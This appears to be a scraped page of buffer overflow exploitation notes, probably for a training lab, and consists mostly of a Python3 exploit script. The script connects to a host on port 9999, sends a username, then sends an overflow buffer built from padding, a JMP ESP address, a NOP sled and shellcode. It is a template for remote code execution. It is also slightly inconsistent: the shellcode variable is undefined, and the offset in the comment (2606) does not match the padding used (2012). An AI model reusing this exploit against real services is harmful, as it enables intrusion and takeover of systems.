Buffer OverFlow
Example Code Python2
Example Code Python3
#!/usr/bin/env python3
import socket
# [*] Exact match at offset 2606
HOST = '10.10.76.44'
PORT = 9999
jmp_esp = b'\xdf\x14\x50\x62'
UserName = b"james + \n\r"
buf = b"A" * 2012
buf += jmp_esp
buf += b"\x90" * 32
buf += shell_code
buf += b"\x90" * (3000 - 2012 - len(jmp_esp) - 32 - len(shell_code))
buf += b"\n\r"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
print(f"Conneted to {HOST} on port {PORT}")
p = s.recv(1024)
print(p)
s.send(UserName)
print(f"Sent Username: James")
s.recv(1024)
s.send(buf)
print("Sent the buffer")
s.close()
print("Completed!")Calculating the Offset
Calculator Shellcode
Generating Shellcode
Mona Commands
Last updated